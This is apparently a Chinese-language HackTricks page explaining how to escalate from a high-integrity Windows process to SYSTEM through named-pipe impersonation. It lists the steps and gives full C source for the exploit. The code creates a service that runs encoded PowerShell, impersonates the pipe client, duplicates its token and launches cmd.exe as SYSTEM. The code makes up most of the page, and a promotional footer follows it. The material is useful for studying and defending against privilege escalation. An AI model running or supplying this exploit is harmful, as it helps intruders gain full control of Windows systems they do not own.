From High Integrity to SYSTEM with Name Pipes

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代码流程:

1. 创建一个新的管道

2. 创建并启动一个服务，该服务将连接到创建的管道并写入内容。服务代码将执行编码的PS代码：$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();

3. 服务从管道中接收来自客户端的数据，调用ImpersonateNamedPipeClient并等待服务完成

4. 最后，使用从服务获取的令牌生成一个新的_cmd.exe_

如果权限不足，利用可能会卡住并永远不返回。

```c #include #include

#pragma comment (lib, "advapi32") #pragma comment (lib, "kernel32")

#define PIPESRV "PiperSrv" #define MESSAGE_SIZE 512

int ServiceGo(void) {

SC_HANDLE scManager; SC_HANDLE scService;

scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

if (scManager == NULL) { return FALSE; }

// create Piper service scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, "C:\Windows\\System32\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==", NULL, NULL, NULL, NULL, NULL);

if (scService == NULL) { //printf("[!] CreateServiceA() failed: [%d]\n", GetLastError()); return FALSE; }

// launch it StartService(scService, 0, NULL);

// wait a bit and then cleanup Sleep(10000); DeleteService(scService);

CloseServiceHandle(scService); CloseServiceHandle(scManager); }

int main() {

LPCSTR sPipeName = "\\.\pipe\piper"; HANDLE hSrvPipe; HANDLE th; BOOL bPipeConn; char pPipeBuf[MESSAGE_SIZE]; DWORD dBRead = 0;

HANDLE hImpToken; HANDLE hNewToken; STARTUPINFOA si; PROCESS_INFORMATION pi;

// open pipe hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);

// create and run service th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);

// wait for the connection from the service bPipeConn = ConnectNamedPipe(hSrvPipe, NULL); if (bPipeConn) { ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);

// impersonate the service (SYSTEM) if (ImpersonateNamedPipeClient(hSrvPipe) == 0) { return -1; }

// wait for the service to cleanup WaitForSingleObject(th, INFINITE);

// get a handle to impersonated token if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) { return -2; }

// create new primary token for new process if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hNewToken)) { return -4; }

//Sleep(20000); // spawn cmd.exe as full SYSTEM user ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { return -5; }

// revert back to original security context RevertToSelf();

}

return 0; }

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>